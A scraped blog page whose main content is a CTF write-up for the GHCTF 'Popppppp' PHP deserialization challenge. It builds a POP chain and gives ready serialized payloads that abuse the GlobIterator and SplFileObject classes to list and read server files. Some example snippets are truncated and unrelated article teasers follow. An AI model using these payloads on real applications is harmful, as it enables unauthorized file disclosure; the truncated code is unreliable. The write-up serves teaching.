当前位置: 首页 > news >正文

原平的旅游网站怎么做的/网站收录登录入口

原平的旅游网站怎么做的,网站收录登录入口,日本做a的短视频网站,wordpress如何qq登录界面源代码 <?php error_reporting(0); class CherryBlossom { public $fruit1; public $fruit2; public function __construct($a) {$this->fruit1 $a; } function __destruct() { echo $this->fruit1; } public function __toString() { $newFunc …

源代码

<?php  
error_reporting(0);  class CherryBlossom {  public $fruit1;  public $fruit2;  public function __construct($a) {$this->fruit1 = $a;  }  function __destruct() {  echo $this->fruit1;  }  public function __toString() {        $newFunc = $this->fruit2;  return $newFunc();  }  
}  class Forbidden {  private $fruit3;  public function __construct($string) {$this->fruit3 = $string;  }  public function __get($name) {$var = $this->$name;$var[$name]();  }  
}  class Warlord {  public $fruit4;  public $fruit5;  public $arg1;  public function __call($arg1, $arg2) {$function = $this->fruit4;  return $function();  }  public function __get($arg1) {$this->fruit5->ll2('b2');  }  
}  class Samurai {  public $fruit6;  public $fruit7;  public function __toString() {$long = @$this->fruit6->add();  return $long;  }  public function __set($arg1, $arg2) {  if ($this->fruit7->tt2) {  echo "xxx are the best!!!";  }  }  
}  class Mystery {  public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}  
}  class Princess {  protected $fruit9;  protected function addMe() {  return "The time spent with xxx is my happiest time" . $this->fruit9;  }  public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);  }  
}  class Philosopher {  public $fruit10;  public $fruit11="sr22kaDugamdwTPhG5zU";  public function __invoke() {  if (md5(md5($this->fruit11)) == 666) {  return $this->fruit10->hey;  }  }  
}  class UselessTwo {  public $hiddenVar = "123123";  public function __construct($value) {$this->hiddenVar = $value;  }  public function __toString() {  return $this->hiddenVar;  }  
}  class Warrior {  public $fruit12;  private $fruit13;  public function __set($name, $value) {$this->$name = $value;  if ($this->fruit13 == "xxx") {strtolower($this->fruit12);  }  }  
}  class UselessThree {  public $dummyVar;  public function __call($name, $args) {  return $name;  }  
}  class UselessFour {  public $lalala;  public function __destruct() {  echo "Hehe";  }  
}  if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);  
} else {highlight_file(__FILE__);  
}

step 1 找利用点

翻找全部类发现没有可控任意函数执行点,但是能发现一个很特别的类

class Mystery {  public function __get($arg1) {  array_walk($this, function ($day1, $day2) {  $day3 = new $day2($day1);  foreach ($day3 as $day4) {  echo ($day4 . '<br>');  }  });  }  
}

array_walk()

array_walk 是 PHP 中一个用于对数组中的每个元素应用回调函数的函数。该函数的基本用法是遍历数组,并对每个元素调用用户自定义的回调函数,回调函数可以修改数组元素的值。

语法

bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
  • $array:输入的数组,必须是引用传递(&)。
  • $callback:用户自定义的回调函数,函数名称或匿名函数。
  • $userdata:可选参数,用户自定义的数据,这个数据会作为第三个参数传递给回调函数。

但是Mystery是没有属性的,这里要展示一个php反序列化的特性

<?php  
class Mystery {  public $test = 'Hello World!';  public function __get($arg1) {  array_walk($this, function ($day1, $day2) {  $day3 = new $day2($day1);  foreach ($day3 as $day4) {  echo ($day4 . '<br>');  }  });  }  
}  $obj = new Mystery();  
echo serialize($obj);

先序列化这段代码,得到输出,再尝试下面这段代码

<?php  class test{  public function __construct($echo)  {  echo $echo;  }  
}  class Mystery {  public function __get($arg1) {  array_walk($this, function ($day1, $day2) {  $day3 = new $day2($day1);  foreach ($day3 as $day4) {  echo ($day4 . '<br>');  }  });  }  
}  $obj = unserialize('O:7:"Mystery":1:{s:4:"test";s:12:"Hello World!";}');  
$obj->inexistent;

你将能看到Mystery获得了本不属于他的 $test = 'Hello World!',并调用了test类输出了Hello World!
我将在之后讲述如何继续利用,在这之前先让我们寻找可用的pop链

step 2 寻找反序列化链

我们要向上寻找能调用其不存在属性的类

注意这个类是不行的,因为__set__get 作用是相似的,如果__set能触发,那么__get也能触发

$this->fruit7->tt2

class Samurai {public $fruit6;  public $fruit7;  public function __toString() {  $long = @$this->fruit6->add();  return $long;  }  public function __set($arg1, $arg2) {  if ($this->fruit7->tt2) {  echo "xxx are the best!!!";  }  }  
}

所以只能考虑这个类

$this->fruit7->tt2

class Philosopher {  public $fruit10;  public $fruit11="sr22kaDugamdwTPhG5zU";  public function __invoke() {  if (md5(md5($this->fruit11)) == 666) {  return $this->fruit10->hey;  }  }  
}

tips: 在 PHP 中,'666abc' == 666 为真

编写python脚本找到一个经过两次md5后开头为666的字符串

import hashlibdef md5_hash(text):"""返回给定文本的MD5哈希值(小写十六进制形式)"""return hashlib.md5(text.encode('utf-8')).hexdigest()def find_string_with_double_md5(prefix):"""查找经过两次MD5哈希后,哈希值前缀为指定前缀的字符串"""num = 0while True:# 第一次 MD5 哈希first_hash = md5_hash(str(num))# 第二次 MD5 哈希second_hash = md5_hash(first_hash)# 检查第二次哈希值的前缀if second_hash.startswith(prefix):return str(num), second_hashnum += 1# 目标前缀 "666"
target_prefix = "666"
result_string, result_hash = find_string_with_double_md5(target_prefix)print(f"找到的字符串: {result_string}")
print(f"第二次MD5哈希值: {result_hash}")

得到213

接下来寻找如何触发 __invoke()

排除掉干扰项找到

<?php  
class CherryBlossom {  public $fruit1;  public $fruit2;  public function __construct($a) {  $this->fruit1 = $a;  }  function __destruct() {  echo $this->fruit1;  }public function __toString() {  $newFunc = $this->fruit2;  return $newFunc();  }  
}

找到这里链条已经闭合,可以写出链条。

<?php  
class CherryBlossom {  public $fruit1;  public $fruit2;  
}  class Philosopher {  public $fruit10;  public $fruit11="213";  
}  class Mystery {  public $test = 'Hello World!';  
}  $obj = new CherryBlossom();  
$obj -> fruit1 = new CherryBlossom();  
$obj -> fruit1 -> fruit2 = new Philosopher();  
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();  echo serialize($obj);

step 3 利用


GlobIterator 是 PHP 中的一个内置类,属于 SplFileInfo 类的子类,用于遍历符合特定模式的文件系统路径。它实现了一个基于文件名模式匹配的迭代器,常常用于处理和读取一组符合 glob 模式(如 *.txt)的文件。GlobIterator 类可以让你方便地使用迭代器模式来遍历符合模式的文件路径。

基本概念:

GlobIterator 类是基于 glob 函数的,它允许你在文件系统中查找符合给定模式的文件。例如,可以使用 *.txt 来匹配所有 .txt 文件。

语法:

new GlobIterator(string $glob_pattern);
  • $glob_pattern:一个文件路径模式,可以包含通配符(如 *?),用来匹配文件名或路径。

常见方法:

GlobIterator 类继承了 TraversableIterator 接口,因此它可以被用于 foreach 循环进行遍历。它提供了与文件相关的信息(如文件大小、修改时间等)。

1. getFilename()

获取当前文件或目录的文件名。

2. getPathname()

获取当前文件或目录的完整路径。

3. getSize()

获取当前文件的大小(以字节为单位)。

4. getMTime()

获取当前文件的最后修改时间。

5. isDir()

检查当前项是否为目录。

6. isFile()

检查当前项是否为文件。

示例:使用 GlobIterator 遍历符合模式的文件

getFilename() . "\n";echo "文件路径: " . $fileinfo->getPathname() . "\n";echo "文件大小: " . $fileinfo->getSize() . " 字节\n";echo "最后修改时间: " . date('Y-m-d H:i:s', $fileinfo->getMTime()) . "\n";echo "是否为目录: " . ($fileinfo->isDir() ? '是' : '否') . "\n";echo "----------------------------\n";
}
?>

代码解析:

  1. GlobIterator('*.txt'):我们创建了一个 GlobIterator 实例,传入一个模式 *.txt,该模式匹配当前目录下的所有 .txt 文件。
  2. foreachGlobIterator 实现了 Traversable 接口,因此它可以直接被用在 foreach 循环中进行迭代。每次迭代返回一个 SplFileInfo 对象,我们可以用它来获取文件的相关信息。
  3. 输出文件信息:在每次循环中,我们输出文件的:
    • 文件名(getFilename()
    • 文件路径(getPathname()
    • 文件大小(getSize()
    • 最后修改时间(getMTime()
    • 是否为目录(isDir()

写出文件列出exp,获得文件列表

<?php  
class CherryBlossom {  public $fruit1;  public $fruit2;  
}  class Philosopher {  public $fruit10;  public $fruit11="213";  
}  class Mystery {  public $GlobIterator = '/*';  
}  $obj = new CherryBlossom();  
$obj -> fruit1 = new CherryBlossom();  
$obj -> fruit1 -> fruit2 = new Philosopher();  
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();  echo serialize($obj);
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:12:"GlobIterator";s:2:"/*";}s:7:"fruit11";s:3:"213";}}s:6:"fruit2";N;}

SplFileObject 是 PHP 中的一个内置类,属于 SPL(Standard PHP Library)库的一部分,它提供了一个面向对象的方式来处理文件操作。相比传统的基于函数的文件处理方式(如 fopenfreadfwrite 等),SplFileObject 提供了更多的封装和面向对象的特性,使得文件操作更为简洁和灵活。

基本概念:

SplFileObject 用于表示一个文件,并允许你以面向对象的方式进行文件读取、写入、修改等操作。它继承自 PHP 内置的 SplFileInfo 类,因此你可以用它来获取文件的基本信息(如文件名、路径、大小等)。

常见方法:

SplFileObject 提供了很多方法来进行文件操作,如读取、写入、遍历文件内容等。

1. 构造函数
new SplFileObject(string $filename, string $open_mode = 'r', bool $use_include_path = false, resource $context = null);
  • $filename:文件名,必须指定。
  • $open_mode:打开文件的模式,默认为 'r'(只读模式),可以是 'r', 'w', 'a', 'r+' 等。
  • $use_include_path:是否查找包含路径(默认为 false)。
  • $context:文件打开时使用的上下文资源(默认为 null)。
2. 常用方法
  • fgetc():读取文件中的下一个字符。
  • fgets():读取文件中的一行。
  • fread():读取指定长度的数据。
  • fwrite():向文件写入数据。
  • fseek():设置文件指针的位置。
  • eof():检查文件指针是否已经到达文件末尾。
  • flock():对文件进行锁定操作(类似于 flock() 函数)。
  • getFilename():获取文件名(继承自 SplFileInfo)。
  • getSize():获取文件大小(继承自 SplFileInfo)。
  • getPathname():获取文件的完整路径(继承自 SplFileInfo)。
3. 迭代器接口

SplFileObject 实现了 Traversable 接口,意味着你可以使用 foreach 来逐行遍历文件内容。

示例 1:读取文件内容

eof()) {echo $file->fgets();  // 输出当前行
}
?>
  • 这里我们创建了一个 SplFileObject 对象,打开 example.txt 文件,并使用 fgets() 方法逐行读取文件内容直到文件末尾(eof())。

示例 2:写入文件

fwrite("Hello, world!\n");
$file->fwrite("This is a test.\n");// 关闭文件
$file = null;
?>
  • 在这个示例中,我们以写入模式('w')打开 output.txt 文件,使用 fwrite() 方法向文件写入内容。写入完成后,关闭文件。

示例 3:遍历文件(迭代器)

<?php
// 使用 SplFileObject 作为迭代器,逐行读取文件
$file = new SplFileObject('example.txt', 'r');foreach ($file as $line) {echo $line;  // 输出每一行
}
?>
  • SplFileObject 实现了 Traversable 接口,因此你可以像使用普通数组一样,用 foreach 遍历文件的每一行。

示例 4:文件指针操作

seek(2);  // 文件指针指向第 3 行(索引从 0 开始)// 读取并输出第 3 行
echo $file->fgets();  // 输出第 3 行内容
?>
  • 使用 seek() 方法可以将文件指针移动到指定的行。这里 seek(2) 将指针移动到第 3 行。

示例 5:检查文件末尾

eof()) {echo $file->fgets();  // 输出文件内容直到末尾
}
?>
  • eof() 方法检查文件指针是否已经到达文件末尾。你可以通过此方法来控制读取循环,确保文件没有被读取两次。

写出文件读取

<?php  
class CherryBlossom {  public $fruit1;  public $fruit2;  
}  class Philosopher {  public $fruit10;  public $fruit11="213";  
}  class Mystery {  public  $SplFileObject="/flag44545615441084";  
}  $obj = new CherryBlossom();  
$obj -> fruit1 = new CherryBlossom();  
$obj -> fruit1 -> fruit2 = new Philosopher();  
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();  echo serialize($obj);
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:13:"SplFileObject";s:19:"/flag44545615441084";}s:7:"fruit11";s:3:"213";}}s:6:"fruit2";N;}

成功获得flag

相关文章:

ctf-web: php原生类利用 -- GHCTF Popppppp

源代码 <?php error_reporting(0); class CherryBlossom { public $fruit1; public $fruit2; public function __construct($a) {$this->fruit1 $a; } function __destruct() { echo $this->fruit1; } public function __toString() { $newFunc …...

「Unity3D」UGUI将元素固定在,距离屏幕边缘的某个比例,以及保持元素自身比例

在不同分辨率的屏幕下&#xff0c;UI元素按照自身像素大小&#xff0c;会发生位置与比例的变化&#xff0c;本文仅利用锚点&#xff08;Anchors&#xff09;使用&#xff0c;来实现UI元素&#xff0c;固定在某个比例距离的屏幕边缘。 首先&#xff0c;将元素的锚点设置为中心&…...

nextjs15简要介绍以及配置eslint和prettier

目录 一、Next.js 何时使用服务器端渲染&#xff08;SSR&#xff09;&#xff1f;何时使用静态生成&#xff08;SSG&#xff09;&#xff1f; 1、服务器端渲染&#xff08;SSR - getServerSideProps&#xff09; 2、 静态生成&#xff08;SSG - getStaticProps&#xff09; …...

存储过程和自定义函数在银行信贷业务中的应用(oracle)

数据校验和清洗 例如&#xff0c;检查客户的年龄是否在合理范围内&#xff0c;贷款金额是否符合规定的上下限等。 对于不符合规则的数据&#xff0c;可以进行清洗和修正。比如&#xff0c;将空值替换为默认值&#xff0c;或者对错误的数据进行纠正。 CREATE OR REPLACE PROC…...

基于Ollama平台部署的Qwen大模型实现聊天机器人

文章目录 基于Ollama平台部署的Qwen大模型实现聊天机器人1 概述2 技术栈2.1 开发技术2.2 环境 3 技术架构4 实现步骤4.1 环境搭建4.1.1 WSL配置及Ubuntu安装4.1.2 Ollama安装及模型部署 4.2 模块安装4.2.1 安装Streamlit 1.42.24.2.2 安装requests 2.32.34.2.3 安装ollama 0.4.…...

在 JDK 1.8 的 ConcurrentHashMap 中,为什么存在两种插入方式?

在 JDK 1.8 的 ConcurrentHashMap 中&#xff0c;之所以对“容器为空”和“计算位置为空”采取不同的处理方式&#xff0c;主要是因为 并发场景下的性能优化和并发安全保证。我们可以分开来看这两种情况&#xff1a; 1. 容器为空时&#xff0c;使用 volatile CAS 初始化 原因…...

如何让powershell的界面变成全屏显示?

刚打开powershell&#xff0c;原来的样子&#xff1a; 全屏&#xff1a;可以按一下键盘上的alt enter 键&#xff0c;效果&#xff1a;...

语音识别踩坑记录

本来想在原来的语音识别的基础上增加本地扩展本地词典&#xff0c; 采用的语音识别是Vosk识别器&#xff0c;模型是 vosk-model-small-cn-0.22 // 初始化Vosk识别器 if (recognizer null) {using (Model model new Model(modelPath)){string grammar "{""…...

图片查看器:用PyQt5实现本地图片预览工具

通过python代码&#xff0c;基于PyQt5实现本地图片预览查看工具。 我们对窗口进行了圆角设计&#xff0c;图片的翻页按钮半透明处理&#xff0c;当鼠标移动至按钮上的动画效果&#xff0c;当选择某一张图片&#xff0c;进行左右翻页则轮播同目录所有支持的图片格式。 import …...

Deepin通过二进制方式升级部署高版本 Docker

一、背景&#xff1a; 在Deepin系统中通过二进制方式升级部署高版本 Docker&#xff0c;下面将详细介绍二进制方式升级部署高版本 Docker 的具体步骤。 二、操作步骤 1.根据需求下载二进制文件&#xff0c;下载地址如下&#xff1a; https://mirrors.tuna.tsinghua.e…...

车架号VIN查询 API 接口用JAVA如何调用?

以下是车架号VIN查询 API 接口用JAVA如何调用的示例代码&#xff1a; package com.shuxun.data.impl.demo;import com.shuxun.common.core.util.HttpUtil; import org.apache.commons.codec.digest.DigestUtils;import java.util.HashMap; import java.util.Map;public class …...

Vulnhub 靶机 VulnOSv2 write up opendocman cms 32075 sql注入 账号密码 ssh连接 37292.c 脏牛提权

Vulnhub 靶机 VulnOSv2 write up opendocman cms 32075 sql注入 账号密码 ssh连接 37292.c 脏牛提权 一、信息收集 1、首先拿到靶场先扫一下ip arp-scan -l 3、 2、指纹扫描 nmap -sS -sV 192.168.66.178nmap -p- -sV -A 192.168.66.253 PORT STATE SERVICE VERSION 22…...

爬虫的精准识别:基于 User-Agent 的正则实现

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…...

Python数据分析之数据可视化

Python 数据分析重点知识点 本系列不同其他的知识点讲解&#xff0c;力求通过例子让新同学学习用法&#xff0c;帮助老同学快速回忆知识点 可视化系列&#xff1a; Python基础数据分析工具数据处理与分析数据可视化机器学习基础 四、数据可视化 图表类型与选择 根据数据特…...

【免费】2004-2020年各省货运量数据

2004-2020年各省货运量数据 1、时间&#xff1a;2004-2020年 2、来源&#xff1a;国家统计局、统计年鉴 3、指标&#xff1a;行政区划代码、地区、年份、货运量(万吨) 4、范围&#xff1a;31省 5、指标解释&#xff1a;货运量指在一定时期内&#xff0c;各种运输工具实际运…...

【CXX】6.6 UniquePtr<T> — std::unique_ptr<T>

std::unique_ptr 的 Rust 绑定称为 UniquePtr。有关 Rust API 的文档&#xff0c;请参见链接。 限制&#xff1a; 目前仅支持 std::unique_ptr<T, std::default_delete>。未来可能会支持自定义删除器。 UniquePtr 不支持 T 为不透明的 Rust 类型。对于在语言边界传递不…...

Java 集合框架大师课:集合框架源码解剖室(五)

&#x1f525;Java 集合框架大师课&#xff1a;集合框架源码解剖室&#xff08;五&#xff09; &#x1f4a3; 警告&#xff1a;本章包含大量 裸码级硬核分析&#xff0c;建议搭配咖啡因饮料阅读&#xff01;☕️ 第一章 ArrayList 的扩容玄学 1.1 动态扩容核心代码大卸八块 …...

llamafactory 微调教程

文章目录 llamlafactory微调deepseekr1-0.5b1.1 说明1.2 搭建环境创建GPU实例连接实例部署llama_factory创建隧道&#xff0c;配置端口转发访问llama_factory 1.3 微调大模型从huggingface上下载基座模型查看模型是否下载成功准备数据集微调评估微调效果导出合并后的模型 释放实…...

代码随想录|二叉树|04二叉树的统一迭代法

一刷我这里放了。。。 代码随想录...

【教学类-43-25】20240311 数独3宫格的所有可能(图片版 12套样式,空1格-空8格,每套510张,共6120小图)

背景需求&#xff1a; 有一位客户买3宫格所有可能&#xff08;WORD表格版&#xff09; 【教学类-43-25】20241203 数独3宫格的所有可能-使用模版替换-用时少报错少&#xff08;12套样式&#xff0c;空1格-空8格&#xff0c;每套510张&#xff0c;共6120小图&#xff09;_数独三…...

Manus AI:多语言手写识别的技术革命与未来图景

摘要&#xff1a;在全球化浪潮下&#xff0c;跨语言沟通的需求日益迫切&#xff0c;但手写文字的多样性却成为技术突破的难点。Manus AI凭借其多语言手写识别技术&#xff0c;将潦草笔迹转化为精准数字文本&#xff0c;覆盖全球超百种语言。本文从技术原理、应用场景、行业价值…...

领域驱动设计(DDD)是什么?

领域驱动设计&#xff08;DDD&#xff09;是什么&#xff1f; 在软件开发的世界里&#xff0c;我们总在寻找那把打开业务之门的钥匙。有人迷恋MVC的简洁&#xff0c;有人追逐微服务的潮流&#xff0c;而DDD&#xff08;领域驱动设计&#xff09;则像一位沉默的智者&#xff0c;…...

JavaScript 模块 vs C# 类:封装逻辑的两种哲学

引言 在现代软件开发中&#xff0c;模块化和面向对象设计是代码组织的核心课题。本文通过对比 JavaScript 模块&#xff08;ES6 Module&#xff09;与 C# 类&#xff08;Class&#xff09;的实现方式&#xff0c;探讨两种语言在封装逻辑时的不同哲学&#xff0c;并给出实际应用…...

2.2 企业级ESLint/Prettier规则定制

文章目录 1. 为什么需要企业级代码规范2. 工具选型对比3. 完整配置流程3.1 项目初始化3.2 ESLint深度配置3.3 Prettier精细配置3.4 解决规则冲突4. 高级定制方案4.1 自定义ESLint规则4.2 扩展Prettier插件5. 团队协作策略5.1 配置共享方案5.2 版本控制策略6. CI/CD集成7. 常见问…...

Linux学习(十五)(故障排除(ICMP,Ping,Traceroute,网络统计,数据包分析))

故障排除是任何 Linux 用户或管理员的基本技能。这涉及识别和解决 Linux 系统中的问题。这些问题的范围包括常见的系统错误、硬件或软件问题、网络连接问题以及系统资源的管理。Linux 中的故障排除过程通常涉及使用命令行工具、检查系统和应用程序日志文件、了解系统进程&#…...

DeepIn Wps 字体缺失问题

系统缺失字体 Symbol 、Wingdings 、Wingdings2、Wingdings3、MT—extra 字体问题 问了下DeepSeek 在应用商店安装或者在windows 里面找 装了一个GB-18030 还是不行 在windows里面复制了缺失的字体 将字体复制到DeepIn 的字体目录&#xff08;Ubuntu 应该也是这个目录&am…...

(二分 数学推导 统计公平数对的数目)leetcode 2563

数学推导&#xff1a; lower < nums[i] nums[j] < upper且0 < i < j < n 则lower-nums[j]<nums[i]<upper-nums[j] 找到这个范围的nums[i]的个数就是我们要的值 所以枚举j 在0--&#xff08;j-1&#xff09;的范围内 找到第一个大于等于lower-nums[j]…...

临界比例法PID调整-附带pidtune工具和GA算法

代码已上传&#xff1a;计算机控制系统PID参数整定法资源-CSDN文库 1背景 为了模拟PID参数整定&#xff0c;把教材上的案例进行分析。 1题目 单位闭环传递函数&#xff0c;开环传函G(s)1/((s1)(s2)), Ts0.1s, PID调整器输出后&#xff0c;接零阶保持器ZOH。 2 代码 PID含积…...

LabVIEW基于双通道FFT共轭相乘的噪声抑制

对于双通道采集的含噪信号&#xff0c;通过FFT获取复数频谱后&#xff0c;对第二通道频谱取共轭并与第一通道频谱相乘&#xff0c;理论上可增强相关信号成分并抑制非相关噪声。此方法适用于通道间信号高度相关、噪声独立的场景&#xff08;如共模干扰抑制&#xff09;。以下为L…...

小程序SSL证书过期怎么办?

SSL证书就像小程序的“安全锁”&#xff0c;一旦过期&#xff0c;用户访问时会被提示“不安全”&#xff0c;轻则流失客户&#xff0c;重则数据泄露&#xff01;作为企业负责人&#xff0c;如何快速解决证书过期问题&#xff1f;又该如何避免再次踩坑&#xff1f;这篇指南给你答…...